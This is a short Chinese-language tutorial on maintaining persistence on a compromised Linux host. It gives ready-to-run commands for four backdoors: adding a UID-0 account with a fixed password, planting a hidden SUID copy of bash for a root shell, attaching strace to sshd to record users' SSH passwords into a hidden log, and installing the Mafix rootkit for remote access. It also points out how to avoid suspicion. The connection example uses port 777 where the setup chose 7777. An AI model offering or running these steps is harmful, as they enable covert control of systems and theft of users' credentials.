Linux权限维持方法论
- 1.创建超级用户
- 2.SUID后门权限维持
- 3.Strace监听后门
- 4.rookit后门
1.创建超级用户
例如：
创建一个用户名guest，密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
也可以通过修改/etc/passwd创建超级用户：
具体方法详见此篇文章
2.SUID后门权限维持
SUID后门的必要条件：
- SUID权限仅对二进制程序有效
- 执行者必须对这个程序有可执行的权限
- 权限仅在执行该程序的过程中有效
- 在执行过程中执行者将具有该程序拥有者的权限
步骤：
- 创建一个SUID文件，
.long - 写入bash
cp /bin/bash .long #将bash命令cp到.long二进制程序中
chmod 4755 .long #赋予SUID文件的权限
- 执行这个SUID后门文件
./.long -p
获取一个root的shell
3.Strace监听后门
strace不只是可以监听连接他人，还可以用来抓到别人连入的密码
首先我们需要通过以下命令来查找sshd进程的PID：
ps -ef | grep sshd
PID为31171
然后我们执行以下代码开始抓取流量：
strace -f -p 31171 -o .ssh.log -e trace=read,write,connect -s 2048
此时我们任何使用ssh登录或者切换用户的操作，密码都会被记录到.ssh.log文件中，这种方法的缺点是生成的log文件特别大，且容易引起怀疑
4.rookit后门
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号
首先下载Mafix，上传到目标服务器，解压后cd到Mafix目录，安装rootkit：
./root 111111 7777
其中111111为你连接后门程序时的密码，7777为连接的端口
连接后门程序：
ssh ip -p 777
